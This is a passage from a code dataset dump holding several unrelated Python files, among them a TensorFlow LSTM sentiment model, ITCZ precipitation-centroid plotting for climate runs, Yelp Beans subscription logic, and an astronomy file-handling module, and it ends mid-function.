self._fsm.enterStartState()\n if(len(string) < 6):\n return False, None\n for c in string[:6]:\n self._fsm.header(self.counter, c)\n for c in string[6:]:\n self._fsm.symb(c, self.counter)\n self._fsm.EOS(self.counter)\n return self._is_acceptable, self.filename\n\n#checker = AppClass()\n#print(checker.check(\"nfs://hello/hell_/_heljbchj\"))\n\ntry:\n with open(\"data.txt\") as f:\n for string in f:\n checker = AppClass()\n print('---------------------------------------------------------')\n print(string.rstrip('\\n'))\n flag, f_name = checker.check(string.rstrip('\\n'))\n get_stats(f_name, filename)\n print(str(flag) + \" \" + f_name)\nexcept IOError as e:\n print(\"No file found\")\n\nprint('---------------------------------------------------------')\nprint(filename)","sub_path":"SystemSoftwareLab1/MyClass.py","file_name":"MyClass.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"385815357","text":"import tensorflow as tf\nfrom tensorflow.contrib.rnn import LSTMCell, LSTMStateTuple\n\nencoder_hidden_units = 20\ndecoder_hidden_units = encoder_hidden_units * 2\nlstm_layers = 2\n\n# using dynamic_rnn\ndef inference(encoder_inputs, embeddings_inputs, classNum, isTrainModel=True):\n encoder_inputs_embedded = tf.nn.embedding_lookup(embeddings_inputs, encoder_inputs)\n\n if isTrainModel:\n encoder_cell_fw = tf.contrib.rnn.MultiRNNCell([tf.contrib.rnn.DropoutWrapper(\n tf.contrib.rnn.BasicLSTMCell(num_units=encoder_hidden_units), output_keep_prob=0.5) for _ in\n range(lstm_layers)])\n else:\n encoder_cell_fw = tf.contrib.rnn.MultiRNNCell(\n [tf.contrib.rnn.BasicLSTMCell(num_units=encoder_hidden_units) for _ in range(lstm_layers)])\n\n encoder_outputs, final_state = tf.nn.dynamic_rnn(encoder_cell_fw, encoder_inputs_embedded, dtype=tf.float32)\n\n output = tf.transpose(encoder_outputs, [1, 0, 2])\n # print(\"------------\",output)\n print(output.get_shape()[0])\n last = tf.gather(output, tf.shape(output)[0] - 1)\n print(last)\n # xxx\n\n after_dp = tf.layers.dropout(encoder_outputs, rate=0.5, training=isTrainModel)\n output_logits = tf.contrib.layers.fully_connected(last, num_outputs=classNum, activation_fn=tf.identity)\n return output_logits\n\n\n# using bidirectional_dynamic_rnn\ndef inference2(encoder_inputs, embeddings_inputs, classNum, isTrainModel=True):\n encoder_inputs_embedded = tf.nn.embedding_lookup(embeddings_inputs, encoder_inputs)\n encoder_cell_fw = LSTMCell(encoder_hidden_units)\n encoder_cell_bw = LSTMCell(encoder_hidden_units)\n\n ((encoder_fw_outputs,\n encoder_bw_outputs),\n (encoder_fw_final_state,\n encoder_bw_final_state)) = (\n tf.nn.bidirectional_dynamic_rnn(cell_fw=encoder_cell_fw,\n cell_bw=encoder_cell_bw,\n inputs=encoder_inputs_embedded,\n dtype=tf.float32, time_major=False)\n )\n output = tf.concat((encoder_fw_outputs, encoder_bw_outputs), 2)\n output = tf.transpose(output, [1, 0, 2])\n print(\"------------\",output)\n print(output.get_shape()[0])\n #get last cell output to classify\n last = tf.gather(output, tf.shape(output)[0] - 1)\n print(last)\n # xxx\n after_dp = tf.layers.dropout(last, rate=0.5, training=isTrainModel)\n output_logits = tf.contrib.layers.fully_connected(after_dp, num_outputs=classNum, activation_fn=tf.identity)\n print(output_logits)\n # xxx\n return output_logits\n\n\ndef loss(logits, labels):\n cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(\n labels=labels,\n logits=logits,\n name='cross_entropy'\n )\n loss = tf.reduce_mean(cross_entropy, name='cross_entropy_mean')\n return loss\n\n\ndef train(loss, learning_rate, global_step):\n opt = tf.train.AdamOptimizer(learning_rate=learning_rate)\n grads = opt.compute_gradients(loss)\n apply_gradient_op = opt.apply_gradients(grads, global_step=global_step)\n return apply_gradient_op\n","sub_path":"sentiment/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"385500343","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport glob\nimport csv\nfrom readercleaner import get_image_data, get_meta\n\n# % stripe wins\nfolders = glob.glob('/home/wintern18/Desktop/cropped_images_ff/*')\nfolders.sort()\nstripewins = 0\nfor gamepath in folders:\n\tmeta = get_meta(gamepath)\n\tif meta[2] == meta[3]:\n\t\tstripewins += 1\nprint('stripes won %d of %d games' % (stripewins, len(folders)))\n\n# avg game len\ntotalframes = []\nfor gamepath in folders:\n\tnframes = len(glob.glob(gamepath+'/frame*'))//2\n\ttotalframes.append(nframes)\nprint('average game length was %d' % np.average(totalframes))\n\n# avg nsol/nstr over time\nballs = np.zeros((100,2))\n\nfor i in range(200):\n gamepath = folders[i]\n nframes = len(glob.glob(gamepath+'/frame*'))//2\n csvs = [gamepath+'/frame'+str(i+1) for i in range(nframes)]\n for ci in range(len(csvs)): # drop first 3 frames\n imgdf = get_image_data(csvs[ci])\n ct = imgdf['balltype'].value_counts()\n balls[ci,0] += ct.solids if 'solids' in ct.index else 0\n balls[ci,1] += ct.stripes if 'stripes' in ct.index else 0\nballs /= 200\n\nplt.plot(balls[:,0])\nplt.plot(balls[:,1])\nplt.legend(['# solids','# stripes'])\nplt.xlabel('Frame')\nplt.title('Average Number of Balls Left After x Frames')\nplt.show()\n","sub_path":"winterns/poolaidhamilton/metastats.py","file_name":"metastats.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"648380376","text":"from collections import Counter\nfrom collections import defaultdict\nimport heapq\n\nclass Solution(object):\n def frequencySort(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n return ''.join(x * c for x, c in Counter(s).most_common())\n\n def frequencySort2(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n counts = defaultdict(lambda: 0)\n for c in s:\n counts[c] += 1\n counts = sorted(counts.viewitems(), key=lambda x: x[1], reverse=True)\n return ''.join(x * c for x, c in counts)\n\nfrom lib.print_profiler_stats import print_profiler_stats\n\ns = Solution()\nmul = 100000\nstring = (\n 'a' * 10*mul +\n 'b' * 20*mul +\n 'c' * 40*mul +\n 'd' * 50*mul +\n 'e' * 7*mul +\n 'f' * 8*mul +\n 'g' * 9*mul +\n 'h' * 30*mul)\n\nprint_profiler_stats(s.frequencySort, string)\nprint_profiler_stats(s.frequencySort2, string)\n# print(s.frequencySort3(string))\n","sub_path":"unconverted/python/sort_str_by_freq.py","file_name":"sort_str_by_freq.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"331103548","text":"from player import Player\r\ndef solver():\r\n ret = []\r\n dat = Player.PlayersMassageGetter()\r\n dat = list(filter(lambda p : 3000 > p.GameCount > 20, dat))\r\n for p in dat:\r\n for g in p.gamelist:\r\n if(5 < int(g[4]) < 180) :\r\n ret.append(g)\r\n return ret\r\n\r\nif __name__ == '__main__' :\r\n print(\"testing : guess count siever\")\r\n f = open(r'Data\\GCSresult.ini', 'w')\r\n for i in solver():\r\n f.write(str(i) + '\\n')","sub_path":"guessCountSiever.py","file_name":"guessCountSiever.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"599216421","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom datetime import datetime\nfrom datetime import timedelta\n\nfrom google.appengine.ext import ndb\nfrom google.appengine.ext.db import NeedIndexError\nfrom pytz import utc\n\nfrom yelp_beans.models import MeetingSpec\nfrom yelp_beans.models import MeetingSubscription\n\n\ndef filter_subscriptions_by_user_data(subscriptions, user):\n approved_subscriptions = []\n for subscription in subscriptions:\n subscription_rules = ndb.Key(urlsafe=subscription['id']).get().user_rules\n\n if subscription.get('rule_logic') == 'any':\n assert subscription_rules, 'You created logic for rules but don\\'t have any rules!'\n approved = apply_rules(user, subscription, subscription_rules, any)\n elif subscription.get('rule_logic') == 'all':\n assert subscription_rules, 'You created logic for rules but don\\'t have any rules!'\n approved = apply_rules(user, subscription, subscription_rules, all)\n else:\n approved = subscription\n\n if approved is not None:\n approved_subscriptions.append(approved)\n return approved_subscriptions\n\n\ndef apply_rules(user, subscription, subscription_rules, rule_logic):\n \"\"\"\n Apply logic to rules set for each subscription. In a way this authorizes who can\n see the subscription. Rules can be applied in two ways: All rules must apply and\n some rules must apply.\n\n user: models.User()\n subscription: models.MeetingSubscription()\n subscription_rules: models.Rule()\n rule_logic: all(), any()\n \"\"\"\n rules = {\n user.metadata.get(rule.get().name) == rule.get().value\n for rule in subscription_rules\n }\n if rule_logic(rules):\n return subscription\n\n return None\n\n\ndef merge_subscriptions_with_preferences(user):\n user_preferences = [\n {\n 'subscription_id': user_subscription.get().subscription.urlsafe(),\n 'datetime_id': user_subscription.get().preference.urlsafe()\n } for user_subscription in user.subscription_preferences\n ]\n subscriptions = [\n {\n 'id': subscription.key.urlsafe(),\n 'title': subscription.title,\n 'office': subscription.office,\n 'location': subscription.location,\n 'size': subscription.size,\n 'timezone': subscription.timezone,\n 'rule_logic': subscription.rule_logic,\n 'datetime': get_subscription_dates(subscription),\n } for subscription in MeetingSubscription.query().fetch()\n ]\n for subscription in subscriptions:\n for user_preference in user_preferences:\n if subscription['id'] == user_preference['subscription_id']:\n for date in subscription['datetime']:\n if date['id'] == user_preference['datetime_id']:\n date['active'] = True\n\n return subscriptions\n\n\ndef get_subscription_dates(subscription):\n return [\n {\n 'id': date.urlsafe(),\n 'date': date.get().datetime.replace(tzinfo=utc).isoformat(),\n 'active': False\n }\n for date in subscription.datetime\n ]\n\n\ndef get_specs_from_subscription(subscription):\n specs = []\n for subscription_datetime in subscription.datetime:\n\n week_start = datetime.now() - timedelta(days=datetime.now().weekday())\n week_start = week_start.replace(\n hour=0, minute=0, second=0, microsecond=0)\n\n subscription_dt = subscription_datetime.get().datetime\n week_iter = week_start\n while week_iter.weekday() != subscription_dt.weekday():\n week_iter += timedelta(days=1)\n\n specs.append(\n MeetingSpec(\n meeting_subscription=subscription.key,\n datetime=week_iter.replace(\n hour=subscription_dt.hour, minute=subscription_dt.minute)\n )\n )\n return week_start, specs\n\n\ndef store_specs_from_subscription(subscription_key, week_start, specs):\n \"\"\"\n Idempotent function to store meeting specs for this week.\n \"\"\"\n try:\n current_specs = MeetingSpec.query(\n MeetingSpec.meeting_subscription == subscription_key,\n MeetingSpec.datetime > week_start\n ).fetch()\n except NeedIndexError:\n current_specs = []\n\n if current_specs:\n return\n\n ndb.put_multi(specs)\n return specs\n","sub_path":"yelp_beans/logic/subscription.py","file_name":"subscription.py","file_ext":"py","file_size_in_byte":4517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"633464066","text":"\"\"\"\nProduce plots showing precip centroid lat vs rate for experiments with varying year length, rotation rate, and mixed layer depth 27/03/2018\n\n\"\"\"\n\nimport xarray as xr\nimport sh\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom climatology import precip_centroid\nfrom data_handling_updates import gradients as gr, make_sym\nfrom pylab import rcParams\nfrom pcent_rate_max import p_cent_rate_max\nimport statsmodels.api as sm\n\n\ndef p_cent_rate(data, days=False):\n \"\"\"\n Inputs:\n data - xarray dataset climatology including precipitation as either precipitation or as convection_rain and condensation_rain\n days - instructs if data is in daily or pentad means\n Returns:\n dpcentdt - rate of movement of the precipitation centroid\n dpcentdt2 - rate of acceleration of the precipitation centroid\n \"\"\"\n # Get total precip\n try:\n data['precipitation'] = data.condensation_rain + data.convection_rain\n except:\n data['precipitation'] = data.precipitation\n data['precipitation'] = make_sym(data.precipitation)\n \n # Locate precipitation centroid\n precip_centroid(data)\n \n # If units in are days rather than pentads (e.g. for shorter years) convert to pentads\n if days:\n dpcentdt = gr.ddt(data.p_cent, secperunit = 86400.) * 86400.\n else:\n dpcentdt = gr.ddt(data.p_cent) * 86400. \n dpcentdt2 = gr.ddt(dpcentdt, secperunit = 86400.) * 86400.\n \n return dpcentdt, dpcentdt2\n\n\ndef p_cent_grad_scatter(run, days=False, period_fac=1., ax=None, color='k', linewidth=1.):\n \"\"\"\n Inputs:\n run - name of a run stored in the climatologies folder\n days - to pass to p_cent_rate, instructs if data is in daily or pentad means\n period_fac - optional input which should be the ratio of the climatology year to a 360 day year\n if set, the rate will be scaled by this factor\n ax - optionally specify an axis to plot to\n color - color to plot in (default black)\n linewidth - width of line to plot (default 1.)\n Outputs:\n plots to specified/current axes, this can be saved and modified outside the function\n \"\"\"\n # Open dataset\n data = xr.open_dataset('/disca/share/rg419/Data_moist/climatologies/' + run + '.nc')\n\n dpcentdt, dpcentdt2 = p_cent_rate(data, days) # Get rate of movement of precip centroid\n \n if ax == None:\n plt.plot(data.p_cent, dpcentdt*period_fac, color, linewidth=linewidth)\n #plt.plot([data.p_cent[-1],data.p_cent[0]], [dpcentdt[-1]*period_fac,dpcentdt[0]*period_fac], color, linewidth=linewidth)\n else:\n ax.plot(data.p_cent, dpcentdt*period_fac, color, linewidth=linewidth) # Plot scatter of precip centroid lat vs rate\n #ax.plot([data.p_cent[-1],data.p_cent[0]], [dpcentdt[-1]*period_fac,dpcentdt[0]*period_fac], color, linewidth=linewidth)\n\ndef rate_at_eq(runs, do_make_sym=True, days=None):\n dpdt_eq = []\n if days==None:\n days=[False]*len(runs)\n j=0\n for run in runs: \n data = xr.open_dataset('/disca/share/rg419/Data_moist/climatologies/' + run + '.nc')\n\n if do_make_sym: # If symmetric data is wanted, average over both hemispheres (NB currently only set up for a climatology 2/05/18)\n data['precipitation'] = make_sym(data.precipitation)\n\n # Locate precipitation centroid\n precip_centroid(data)\n \n # Get rate of movement of precip centroid\n if days[j]:\n dpcentdt = gr.ddt(data.p_cent, secperunit = 86400.) * 86400.\n else:\n dpcentdt = gr.ddt(data.p_cent) * 86400.\n #dpcentdt_max = dpcentdt_pmask.where(dpcentdt_pmask==dpcentdt_pmask.max('xofyear'),drop=True) # Find the maximum rate\n p_cent = np.abs(data.p_cent.where(dpcentdt>=0.)) \n dpdt_eq_j = dpcentdt.where(p_cent == p_cent.min('xofyear'), drop=True)\n dpdt_eq.append(dpdt_eq_j.values[0])\n j=j+1\n return np.asarray(dpdt_eq)\n \n \ndef set_plot_features(ax, title='', legend_labels=[], fontsize=10, leg_title=None):\n \"\"\"\n Inputs:\n ax - axis to modify\n title - title for axis (default empty string)\n legend_labels - label for legend (default empty list)\n \"\"\"\n # Shrink current axis by 10%\n #box = ax.get_position()\n #ax.set_position([box.x0, box.y0, box.width * 0.85, box.height])\n legend = ax.legend(legend_labels, loc='upper left', borderaxespad=0., fontsize=fontsize, title=leg_title, ncol=2) #bbox_to_anchor=(1.05, 1),\n legend.get_title().set_fontsize(fontsize)\n ax.set_xlim([-25,25])\n ax.set_ylim([-1., 1.]) \n #ax.set_title(title, fontsize=16)\n ax.grid(True,linestyle=':')\n\n\n\nif __name__ == \"__main__\":\n \n # Set plotting directory\n plot_dir = '/scratch/rg419/plots/paper_2_figs/'\n mkdir = sh.mkdir.bake('-p')\n mkdir(plot_dir)\n\n # Set figure parameters\n rcParams['figure.figsize'] = 15, 10.5\n rcParams['font.size'] = 14\n\n # Start figure with 4 subplots\n fig, ((ax1, ax2, ax3), (ax4, ax5, ax6), (ax7, ax8, ax9)) = plt.subplots(3, 3)\n \n # Switch on errorbars\n errorbars=True\n \n # Set colors for lines\n colors=['b','g','r','c','m','y']\n \n \n '''Seasons'''\n runs_sn = ['sn_0.250', 'sn_0.500', 'sn_1.000', \n 'sn_2.000', 'sn_3.000', 'sn_4.000']\n days = [True, False, False, False, False, False]\n period_fac = [0.25, 0.5, 1., 2., 3., 4.]\n \n # Get rates and lats needed\n max_rate_sn, max_rate_lat_sn, max_lat_sn = p_cent_rate_max(runs_sn, days=days)\n dpdt_eq_sn = rate_at_eq(runs_sn, days=days)\n \n # Print values needed in paper\n print('sn1 max rate: ', max_rate_sn[2].values)\n print('sn1 max_rate lat: ', max_rate_lat_sn[2].values)\n print('sn1 eq rate: ', dpdt_eq_sn[2])\n print('scaled rates at eq: ', dpdt_eq_sn * period_fac)\n \n # Calculate 95% confidence interval from bootstrapping data\n err_sn=[]\n for errname in runs_sn:\n err_sn.append(np.load(errname+'_bootstrap.npy'))\n err_sn = np.asarray(err_sn)\n lower_sn = np.percentile(err_sn,2.5,axis=2)\n upper_sn = np.percentile(err_sn,97.5,axis=2)\n \n # Plot 0.25 first as this is in days\n p_cent_grad_scatter(runs_sn[0], days=True, color=colors[0], ax=ax1, linewidth=1.)\n # Do other plots, plot sn_1.000 run as thicker line\n j=1\n period_fac = [0.25, 0.5, 2., 3., 4.]\n for run in runs_sn[1:]:\n if run == 'sn_1.000':\n p_cent_grad_scatter(run, color='k', ax=ax1, linewidth=2.) \n else:\n p_cent_grad_scatter(run, color=colors[j], ax=ax1, linewidth=1.) \n j=j+1\n set_plot_features(ax1, title='Varying Year Lengths', legend_labels=['0.25', '0.5', '1.0', '2.0', '3.0', '4.0'], leg_title='P/P$_{E}$')\n \n # Now do unscaled rate plots and lat plots\n \n if errorbars:\n ax4.errorbar(period_fac, max_rate_sn.values,\n yerr=[max_rate_sn.values-lower_sn[:,0], upper_sn[:,0]-max_rate_sn.values], \n linestyle='none', color='k', marker='.',mew=2, ms=8)\n \n ax4.errorbar(period_fac, dpdt_eq_sn,\n yerr=[dpdt_eq_sn-lower_sn[:,3], upper_sn[:,3]-dpdt_eq_sn], \n linestyle='none', color='r', marker='.',mew=2, ms=8)\n \n ax7.errorbar(period_fac, max_lat_sn.values,\n yerr=[max_lat_sn.values-lower_sn[:,2], upper_sn[:,2]-max_lat_sn.values], \n linestyle='none', color='r', marker='.',mew=2, ms=8)\n \n ax7.errorbar(period_fac, max_rate_lat_sn.values,\n yerr=[max_rate_lat_sn.values-lower_sn[:,1], upper_sn[:,1]-max_rate_lat_sn.values], \n linestyle='none', color='k', marker='.',mew=2, ms=8)\n \n else:\n ax4.plot(period_fac, max_rate_sn.values, 'xk', mew=2, ms=10)\n ax4.plot(period_fac, dpdt_eq_sn, 'xr', mew=2, ms=10)\n ax7.plot(period_fac, max_lat_sn.values, 'xr', mew=2, ms=10)\n ax7.plot(period_fac, max_rate_lat_sn.values, 'xk', mew=2, ms=10)\n \n # Set labels\n ax4.set_ylabel('ITCZ migration rate')\n ax4.set_xlabel('P/P$_{E}$')\n ax7.set_ylabel('Latitude')\n ax7.set_xlabel('P/P$_{E}$')\n\n \n \n '''Seasons scaled'''\n\n # Plot 0.25 first as this is in days\n p_cent_grad_scatter(runs_sn[0], days=True, period_fac=period_fac[0], color=colors[0], ax=ax2, linewidth=1.)\n # Do other plots, plot sn_1.000 run as thicker line\n j=1\n for run in runs_sn[1:]:\n if run == 'sn_1.000':\n p_cent_grad_scatter(run, color='k', ax=ax2, linewidth=2.) \n else:\n p_cent_grad_scatter(run, period_fac=period_fac[j], color=colors[j], ax=ax2, linewidth=1.) \n j=j+1\n set_plot_features(ax2, title='Varying Year Lengths (Rates scaled)', legend_labels=['0.25', '0.5', '1.0', '2.0', '3.0', '4.0'], leg_title='P/P$_{E}$')\n \n # Now do scaled rate plots and lat plots\n \n if errorbars:\n ax5.errorbar(period_fac, max_rate_sn.values[:,0]*period_fac,\n yerr=[(max_rate_sn.values[:,0]-lower_sn[:,0])*period_fac, (upper_sn[:,0]-max_rate_sn.values[:,0])*period_fac], \n linestyle='none', color='k', marker='.',mew=2, ms=8)\n \n ax5.errorbar(period_fac, dpdt_eq_sn*period_fac,\n yerr=[(dpdt_eq_sn-lower_sn[:,3])*period_fac, (upper_sn[:,3]-dpdt_eq_sn)*period_fac], \n linestyle='none', color='r', marker='.',mew=2, ms=8)\n \n else:\n ax5.plot(period_fac, max_rate_sn.values[:,0]*period_fac, 'xk', mew=2, ms=10)\n ax5.plot(period_fac, dpdt_eq_sn*period_fac, 'xr', mew=2, ms=10)\n \n # Set labels\n ax5.set_xlabel('P/P$_{E}$')\n ax5.set_ylabel('ITCZ migration rate')\n \n \n \n \n '''Mixed layer depths'''\n \n runs_mld = ['mld_2.5', 'mld_5', 'sn_1.000', \n 'mld_15', 'mld_20']\n mlds = np.array([2.5,5.,10.,15.,20.])\n \n # Get rates and lats needed\n max_rate_mld, max_rate_lat_mld, max_lat_mld = p_cent_rate_max(runs_mld)\n dpdt_eq_mld = rate_at_eq(runs_mld)\n \n # Do plots, plot sn_1.000 run as thicker line\n j=0\n for run in runs_mld:\n if run == 'sn_1.000':\n p_cent_grad_scatter(run, color='k', ax=ax3, linewidth=2.) \n else:\n p_cent_grad_scatter(run, color=colors[j], ax=ax3, linewidth=1.)\n j=j+1\n set_plot_features(ax3, title='Varying MLDs', legend_labels=['2.5', '5.', '10.', '15.', '20.'], leg_title='MLD (m)')\n \n \n print('mld peak lat:', np.mean(max_rate_lat_mld[0:4].values), '+-', np.std(max_rate_lat_mld[0:4].values))\n print('sn peak lat:', np.mean(max_rate_lat_sn[1:6].values), '+-', np.std(max_rate_lat_sn[1:6].values))\n \n # Calculate 95% confidence interval from bootstrapping data\n err_mld=[]\n for errname in runs_mld:\n err_mld.append(np.load(errname+'_bootstrap.npy'))\n err_mld = np.asarray(err_mld)\n lower_mld = np.percentile(err_mld,2.5,axis=2)\n upper_mld = np.percentile(err_mld,97.5,axis=2)\n \n if errorbars:\n ax6.errorbar(mlds, max_rate_mld.values,\n yerr=[max_rate_mld.values-lower_mld[:,0], upper_mld[:,0]-max_rate_mld.values], \n linestyle='none', color='k', marker='.',mew=2, ms=8)\n \n ax6.errorbar(mlds, dpdt_eq_mld,\n yerr=[dpdt_eq_mld-lower_mld[:,3], upper_mld[:,3]-dpdt_eq_mld], \n linestyle='none', color='r', marker='.',mew=2, ms=8)\n \n ax9.errorbar(mlds, max_lat_mld.values,\n yerr=[max_lat_mld.values-lower_mld[:,2], upper_mld[:,2]-max_lat_mld.values], \n linestyle='none', color='r', marker='.',mew=2, ms=8)\n \n ax9.errorbar(mlds, max_rate_lat_mld.values,\n yerr=[max_rate_lat_mld.values-lower_mld[:,1], upper_mld[:,1]-max_rate_lat_mld.values], \n linestyle='none', color='k', marker='.',mew=2, ms=8)\n \n else:\n ax6.plot(mlds, max_rate_mld.values, 'xk', mew=2, ms=10)\n ax6.plot(mlds, dpdt_eq_mld, 'xr', mew=2, ms=10)\n ax9.plot(mlds, max_lat_mld.values, 'xr', mew=2, ms=10)\n ax9.plot(mlds, max_rate_lat_mld.values, 'xk', mew=2, ms=10)\n \n # Fit a linear relation to the max rates\n A = np.array([ mlds, np.ones(mlds.shape) ])\n model = sm.OLS(max_rate_mld.values, A.T)\n result=model.fit()\n consts = result.params\n std_err = result.bse\n print('* MLD max rate = (', consts[0], ' +- ', 2*std_err[0], ') * MLD + (', consts[1], ' +- ', 2*std_err[1], ') *')\n line_maxrate = mlds*consts[0] + consts[1]\n \n \n # Fit a linear relation to the max lats\n model = sm.OLS(max_lat_mld.values, A.T)\n result=model.fit()\n consts = result.params\n std_err = result.bse\n print('* MLD max lat = (', consts[0], ' +- ', 2*std_err[0], ') * MLD + (', consts[1], ' +- ', 2*std_err[1], ') *')\n line_maxlat = mlds*consts[0] + consts[1]\n \n # Fit an inverse relation to the rates at the equator\n A = np.array([ 1./mlds, np.ones(mlds.shape) ])\n model = sm.OLS(dpdt_eq_mld, A.T)\n result=model.fit()\n consts = result.params\n std_err = result.bse\n print('* MLD eq rate = (', consts[0], ' +- ', 2*std_err[0], ') / MLD + (', consts[1], ' +- ', 2*std_err[1], ') *')\n line_eqrate = 1./np.arange(2.5,20.01,0.01)*consts[0] + consts[1]\n \n \n # Plot the best fit line and add labels \n ax6.plot(mlds, line_maxrate,'k')\n ax6.plot(np.arange(2.5,20.01,0.01), line_eqrate,'r')\n ax6.set_ylabel('ITCZ migration rate')\n ax6.set_xlabel('MLD, m')\n \n ax9.plot(mlds, line_maxlat,'r')\n ax9.set_ylabel('Latitude')\n ax9.set_xlabel('MLD, m')\n \n \n ax1.text(-35, 1., 'a)')\n ax2.text(-35, 1., 'b)')\n ax3.text(-35, 1., 'c)')\n ax4.text(-0.7, 1., 'd)')\n ax5.text(-0.7, 1., 'e)')\n ax6.text(-2.5, 1., 'f)')\n ax7.text(-0.7, 25., 'g)')\n ax9.text(-2.5, 25., 'h)')\n \n \n for ax in [ax1, ax2, ax3]:\n ax.set_ylabel('ITCZ migration rate')\n ax.set_xlabel('Precip centroid lat.')\n\n for ax in [ax4, ax5, ax6]:\n ax.set_ylim([0,1])\n ax.grid(True,linestyle=':')\n \n for ax in [ax7, ax9]:\n ax.set_ylim([0,25])\n ax.grid(True,linestyle=':')\n \n ax8.axis('off') \n \n plt.subplots_adjust(left=0.07, right=0.97, top=0.95, bottom=0.05, hspace=0.3, wspace=0.3)\n \n # Save as a pdf\n plt.savefig(plot_dir + 'pcent_rate_mld_sn.pdf', format='pdf')\n plt.close()\n \n \n \n ","sub_path":"paper_2_figs/pcent_rate_mld_sn.py","file_name":"pcent_rate_mld_sn.py","file_ext":"py","file_size_in_byte":14411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"489103263","text":"\"\"\" Collections of constans, functions and classes for file managements.\n\nContext : SRP\nModule : SRPFiles.py\nVersion : 1.7.4\nStatus : approved\nAuthor : Stefano Covino, Nico Cucchiara\nDate : 21/05/2012\nE-mail : stefano.covino@brera.inaf.it\nURL: : http://www.merate.mi.astro.it/~covino\nPurpose : Collection of constants and functions for file managements.\n\nUsage : to be imported\n\nRemarks :\n\nHistory : (20/05/2003) First version.\n : (21/05/2003) Read session name function.\n : (08/09/2003) Flux-magnitude file\n : (09/09/2003) Wavelength to frequency conversion.\n : (20/09/2003) Check if a file is readable.\n : (01/10/2003) Reading absorpion data file.\n : (14/10/2003) Tool for pipe management.\n : (24/10/2003) Reading total file.\n : (12/10/2008) Minor correction.\n : (07/09/2009) python 2.6 upgrade.\n : (06/10/2009) Minor correction.\n : (17/06/2010) Better data file path management.\n : (21/03/2011) Better coding for extinction routines.\n : (16/08/2011) Absolute pathes correctly managed.\n : (05/02/2012) Better path management.\n : (21/05/2012) pipe function commented.\n\"\"\"\n\n\n\nimport os, os.path, string, pickle\nimport sys\nif sys.version_info[0] >= 2 and sys.version_info[1] >= 6:\n import subprocess\nelse:\n import popen2\nimport SRPConstants\nimport SRP\nfrom SRP.SRPSystem.SRPPath import SRPPath\n\n\n\n# Constants\n\nReadMode = \"r\"\nWriteMode = \"w\"\nAppendMode = \"a\"\n\n\n\n\n# Classes\n\n# Generic SRP file\n\nclass SRPFile:\n \"\"\"SRP file.\n\n Parameters are dirname, filename and mode.\"\"\"\n def __init__ (self, dirname, filename, mode):\n self.dirname = dirname # Directory\n self.filename = filename # File name\n self.mode = mode # Mode\n self.f = None # File pointer\n\n def SRPOpenFile (self):\n \"\"\"Open a SRP file.\n\n Create the directory if it does not exist, return None\n if file does not exist.\"\"\"\n if len(self.filename) > 0 and self.filename[0] == os.sep:\n fullpath = self.filename\n else:\n fullpath = self.dirname+os.sep+self.filename\n if self.mode == ReadMode and os.path.isfile(fullpath):\n self.f = open(fullpath,self.mode)\n elif self.mode == WriteMode or self.mode == AppendMode:\n if os.path.isfile(self.dirname):\n os.remove(self.dirname)\n if not os.path.isdir(self.dirname):\n os.mkdir(self.dirname)\n self.f = open(fullpath,self.mode)\n else:\n self.f = None\n\n\n def SRPCloseFile (self):\n \"\"\"Close a SRP file.\"\"\"\n self.f.close()\n\n def SRPReadTotFile(self):\n \"\"\" Read all data from a SRP file.\"\"\"\n return self.f.readlines()\n\n def SRPReadFile(self):\n \"\"\"Read data from a SRP file.\"\"\"\n return self.f.readline()\n\n def SRPReadFilePickle(self):\n \"\"\"Read pickled data from a SRP file.\"\"\"\n return pickle.load(self.f)\n\n def SRPWriteFile(self, data=os.linesep):\n self.f.write(str(data))\n\n def SRPWriteFilePickle(self, data=os.linesep):\n pickle.dump(data,self.f)\n\n\n\ndef getSRPSessionName():\n f = SRPFile(SRPConstants.SRPLocalDir,SRPConstants.SRPSessionName,ReadMode)\n f.SRPOpenFile()\n if f.f == None:\n return SRPConstants.SRPStandardSessionName\n else:\n return f.SRPReadFile()\n\n\n\ndef getSRPFITSList(filename):\n list = []\n f = SRPFile(SRPConstants.SRPLocalDir,filename,ReadMode)\n f.SRPOpenFile()\n if f.f == None:\n return list\n else:\n while True:\n ffile = f.SRPReadFile()\n if ffile != '':\n list.append(string.strip(ffile))\n else:\n break\n f.SRPCloseFile()\n return list\n\n\n\ndef getSRPKeyList(filename):\n list = []\n f = SRPFile(SRPConstants.SRPLocalDir,filename,ReadMode)\n f.SRPOpenFile()\n if f.f == None:\n return list\n else:\n while True:\n fkey = f.SRPReadFile()\n if fkey != '':\n list.append(string.strip(fkey))\n else:\n break\n f.SRPCloseFile()\n return list\n\n\n\n#def getSRPPath ():\n# felot = None\n# f = SRPFile(SRPConstants.SRPHomeDir,SRPConstants.SRPSetupFile,ReadMode)\n# f.SRPOpenFile()\n# if f.f == None:\n# return None\n# else:\n# while True:\n# fe = f.SRPReadFile()\n# if fe != '':\n# if string.find(fe,'bin') >= 0:\n# fel = string.split(fe)[-1]\n# felo = os.path.split(fel)[0]\n# felot = os.path.join(felo,SRPConstants.SRPPyScrDir)\n# else:\n# break\n# f.SRPCloseFile()\n# return felot\n\n\n\ndef getSRPDataPath():\n return SRPPath()\n\n\n\ndef SRPLeggiMagCalFile (nomefile):\n # Leggi il file\n try:\n f = file(nomefile, \"r\")\n 